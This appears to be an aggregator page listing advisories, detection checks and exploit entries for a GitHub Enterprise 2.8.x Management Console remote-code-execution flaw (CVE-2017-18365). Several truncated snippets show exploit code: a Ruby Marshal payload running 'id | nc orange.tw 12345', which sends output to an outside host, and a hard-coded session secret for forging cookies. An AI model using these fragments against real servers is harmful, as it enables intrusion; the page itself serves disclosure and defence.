CVE-2017-18365

The CVE-2017-18365 issue affects GitHub Enterprise 2.8.x prior to 2.8.7. A deserialization flaw in the Management Console allows unauthenticated remote attackers to execute arbitrary code by crafting a cookie signed with the (identical) enterprise session secret, triggering Marshal.load on untrus...

SSRFmap - Automatic SSRF Fuzzer And Exploitation Tool

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz. Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform...

GitHub Enterprise Management Console RCE

GitHub Enterprise contains a flaw in the management console that is due to Ruby on Rails using a static session secret, which can allow a remote attacker to forge cookies. These cookies are insecurely deserialized, potentially allowing the execution of arbitrary code. C Tenable Network Security,...

SSRF, Memcached and other key-value injections in the wild

Back in 2012 we released SSRF a different techniques to exploit Memcached servers and other services with host-based authentication through SSRF. Two years after, in 2014, I presented a Memcached injection techniques at Black Hat USA . There I mentioned that it’s possible to exploit it as a Remot...

GitHub Enterprise < 2.8.7 - Remote Code Execution Exploit

Exploit for multiple platform in category web applications !/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "id | nc orange.tw 12345" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\email protected" +...

GitHub Enterprise Detection (Linux/Unix SSH Login)

SSH login-based detection of GitHub Enterprise. SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only if description...

GitHub Enterprise < 2.8.10 Multiple Vulnerabilities

GitHub Enterprise is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:github:githubenterprise";...

Github Enterprise Default Session Secret And Deserialization

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule "Github Enterprise Default Session Secret And Deserialization Vulnerability", 'Description' = %q This module exploits two securi...

Github Enterprise - Default Session Secret and Deserialization (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule "Github Enterprise Default Session Secret And Deserialization Vulnerability", 'Description' = %q This module exploits two securi...

Github Enterprise Default Session Secret And Deserialization Exploit

This Metasploit module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. The first is that the session management uses a hard-coded secret value, which can be abused to sign a serialized malicious Ruby object. The second problem is due to the use of unsafe deserialization,...

GitHub Enterprise WebGUI / Management Console Detection (HTTP)

HTTP based detection of the GitHub Enterprise WebGUI or Management Console. SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

GitHub Enterprise 2.8.x < 2.8.7 Management Console RCE Vulnerability - Active Check

GitHub Enterprise suffer from a remote code execution RCE vulnerability. SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution Exploit

Exploit for ruby platform in category web applications !/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' . . ' puts ' \ | | | ' puts '/ \\ / /\ \ | | | | | / \ ' puts '\ / /\ \ / /// \ ' puts ' / / / / / '...

GitHub Enterprise Remote Code Execution Vulnerability

GitHub Enterprise is the enterprise version of the code hosting platform launched by GitHub, which includes all the main features of Github, including commit history, code browsing, comparison view, push requests, issue tracking, Wiki, Gist shared snippets, team management, and more. A remote cod...

GitHub Enterprise 2.8.7 - Remote Code Execution

GitHub Enterprise 2.8.7 - Remote Code Execution !/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "id | nc orange.tw 12345" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07...

Github Enterprise Default Session Secret And Deserialization Vulnerability

This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. The first is that the session management uses a hard-coded secret value, which can be abused to sign a serialized malicious Ruby object. The second problem is due to the use of unsafe deserialization, which allo...

GitHub Enterprise < 2.8.7 - Remote Code Execution

!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB code = "id | nc orange.tw 12345" p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dumpcode2..-1 +...

GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution

!/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' . . ' puts ' \ | | | ' puts '/ \\ / /\ \ | | | | | / \ ' puts '\ / /\ \ / /// \ ' puts ' / / / / / ' puts '' puts "github Enterprise RCE exploit" puts...

GitHub Enterprise 2.8.0 2.8.6 - Remote Code Execution

GitHub Enterprise 2.8.0 2.8.6 - Remote Code Execution !/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' . . ' puts ' \ | | | ' puts '/ \\ / /\ \ | | | | | / \ ' puts '\ / /\ \ / /// \ ' puts ' / / / / / '...

GitHub Enterprise 2.8.x Remote Code Execution

!/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' . . ' puts ' \ | | | ' puts '/ \\ / /\ \ | | | | | / \ ' puts '\ / /\ \ / /// \ ' puts ' / / / / / ' puts '' puts "github Enterprise RCE exploit" puts...